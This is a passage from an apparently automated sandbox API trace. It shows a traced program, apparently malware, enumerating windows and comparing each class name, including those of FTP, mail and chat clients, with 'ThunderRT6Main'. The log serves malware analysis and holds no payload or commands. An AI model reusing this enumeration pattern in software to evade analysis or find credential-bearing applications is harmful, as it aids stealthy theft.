(lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0097.811] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0097.811] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0097.811] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.811] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0097.811] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0097.811] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0097.811] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0097.812] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0097.812] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0097.812] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.812] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.812] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0097.812] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0097.812] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0097.812] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0097.812] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0097.812] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0097.812] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.812] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.812] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0097.812] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0097.812] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0097.812] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0097.812] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0097.812] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0097.812] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.812] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.812] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0097.812] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0097.812] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0097.812] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0097.812] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0097.812] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0097.812] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.812] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.812] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0097.812] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0097.812] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0097.812] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0097.812] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0097.812] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0097.813] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.813] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.813] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0097.813] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0097.813] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0097.813] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0097.813] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0097.813] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0097.813] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.813] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.813] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0097.813] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0097.813] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0097.813] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0097.813] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0097.813] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0097.813] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.813] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.813] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0097.813] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0097.813] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0097.813] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0097.813] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0097.813] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0097.813] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.813] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.813] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0097.813] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0097.813] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0097.813] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0097.813] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0097.813] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0097.813] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.813] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.813] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0097.814] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0097.814] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0097.814] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0097.814] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0097.814] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0097.814] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.814] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.814] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0097.814] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0097.814] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0097.814] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0097.814] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0097.814] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0097.814] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.814] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.814] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0097.814] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0097.814] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0097.814] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0097.814] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0097.814] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0097.814] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.814] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.814] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0097.814] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0097.814] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0097.814] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0097.814] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0097.814] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0097.814] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.814] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.814] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0097.814] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0097.814] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0097.814] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0097.815] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0097.815] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0097.815] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.815] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.815] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0097.815] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0097.815] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0097.815] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0097.815] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0097.815] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0097.815] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.815] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.815] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0097.815] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0097.815] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0097.815] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0097.815] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0097.815] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0097.815] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.815] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.815] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0097.815] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0097.815] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0097.815] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0097.815] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0097.815] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0097.815] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.815] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.815] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0097.815] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0097.815] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0097.815] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0097.815] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0097.815] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0097.815] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.816] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.816] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0097.816] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0097.816] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0097.816] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0097.816] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0097.816] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0097.816] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.816] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.816] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0097.816] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0097.816] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0097.816] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0097.816] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0097.816] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0097.816] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.816] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.816] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0097.816] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0097.816] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0097.816] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0097.816] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0097.816] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0097.816] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.816] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.816] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0097.816] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0097.816] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0097.816] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0097.816] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0097.816] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0097.816] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.816] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.816] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0097.817] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0097.817] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0097.817] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0097.817] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0097.817] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0097.817] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.817] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.817] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0097.817] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0097.817] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0097.817] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0097.817] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0097.817] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0097.817] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.817] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.817] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0097.817] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0097.817] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0097.817] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0097.817] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0097.817] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0097.817] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.817] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.817] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0097.817] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0097.817] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0097.817] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0097.817] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0097.817] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0097.817] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.817] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.817] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0097.817] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0097.817] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0097.817] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0097.817] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0097.818] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0097.818] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.818] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.818] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0097.818] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0097.818] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0097.818] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0097.818] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0097.818] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0097.818] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.818] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.818] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0097.818] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0097.818] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0097.818] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0097.818] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0097.818] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0097.818] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.818] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.818] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0097.818] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0097.818] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0097.818] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0097.818] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0097.818] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0097.818] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.818] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.818] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0097.818] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0097.818] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0097.818] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0097.818] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0097.818] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0097.818] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.819] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.819] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0097.819] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0097.819] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0097.819] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0097.819] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0097.819] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0097.819] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.819] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.819] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0097.819] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0097.819] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0097.819] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0097.819] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0097.819] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0097.819] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0097.819] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0097.819] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0097.819] GetWindow 